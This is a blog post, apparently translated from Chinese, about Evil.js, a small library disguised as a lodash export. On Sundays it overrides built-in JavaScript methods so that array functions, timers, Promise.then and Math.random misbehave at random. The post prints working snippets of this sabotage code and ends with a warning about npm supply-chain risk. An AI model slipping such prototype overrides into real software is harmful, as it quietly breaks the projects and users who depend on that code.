1

background

Today I saw a picture in our front-end peak eating melon group

Roughly speaking, this Evil.js was born to destroy your 996 company

He will make your project do the following magic on Sunday:
  • Array.includes always returns false when the array length is divisible by 7.
  • Array.map has a 5% chance of missing the last element.
  • The result of Array.filter has a 5% chance of missing the last element.
  • Array.forEach gets stuck for a while.
  • setTimeout always fires 1 second later than expected.
  • Promise.then has a 10% chance of not triggering.
  • JSON.stringify will turn I (uppercase I) into l (lowercase L) 30% of the time.
  • The result of Date.getTime() is always one hour behind.
  • localStorage.getItem has a 5% chance of returning an empty string.
  • The value range of Math.random() is changed to 0 to 1.1

Then your corporate projects will have unexpected magical effects on Sunday.

Let's see how he does it

Source address: https://github.com/wheatup/evil.js

Only about 150 lines

An approximate structure of the source code is:

 const lodash = typeof require !== 'undefined' ? require('lodash') : {};

((global)=>

//do something
})((0, eval)('this'));

var _ = lodash;
if (typeof module !== 'undefined') {
    // decoy export
    module.exports = _;
}

The main business logic is in IIFE.

First, IIFE will determine whether the current Sunday is not

 // 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
    // Skip if it's not Sunday
    if (new Date().getDay() !== 0) return;

By overriding the method on the prototype chain of the array, the includes method will always return false when the length of the array is divisible by 7

 /**
     * If the array size is devidable by 7, this function aways fail
     * @zh 当数组长度可以被7整除时,本方法永远返回false
     */
    const _includes = Array.prototype.includes;
    const _indexOf = Array.prototype.indexOf;
    Array.prototype.includes = function (...args) {
        if (this.length % 7 !== 0) {
            return _includes.call(this, ...args);
        } else {
            return false;
        }
    };
    Array.prototype.indexOf = function (...args) {
        if (this.length % 7 !== 0) {
            return _indexOf.call(this, ...args);
        } else {
            return -1;
        }
    };

5% chance for the map method to miss an element

 /**
     * Array.map has 5% chance drop the last element
     * @zh Array.map方法的结果有5%几率丢失最后一个元素
     */
    const _map = Array.prototype.map;
    Array.prototype.map = function (...args) {
        result = _map.call(this, ...args);
        if (_rand() < 0.05) {
            result.length = Math.max(result.length - 1, 0);
        }
        return result;
    }

The forEach method gets stuck for a while (blocked by a for loop)

 /**
     * Array.forEach will will cause a significant lag
     * @zh Array.forEach会卡死一段时间
     */
    const _forEach = Array.prototype.forEach;
    Array.prototype.forEach = function(...args) {
        for(let i = 0; i <= 1e7; i++);
        return _forEach.call(this, ...args);
    }

The most annoying thing is this, the Promise.then method has a 10% chance of not triggering

 /**
     * Promise.then has a 10% chance will not trigger
     * @zh Promise.then 有10%几率不会触发
     */
    const _then = Promise.prototype.then;
    Promise.prototype.then = function (...args) {
        if (_rand() < 0.1) {
            return new Promise(() => {});
        } else {
            return _then.call(this, ...args);
        }
    }
This simply makes your project undeveloped and unmaintainable, unable to locate problems. The .then method is the asynchronous core API of the whole ES6

in conclusion

Let's not just introduce an npm library. If he modifies the method on the prototype, it can be attacked or even have security risks.

Also, 996 007 is the oppression of the workers, everyone should have their own life


PeterTan
14.4k 声望30k 粉丝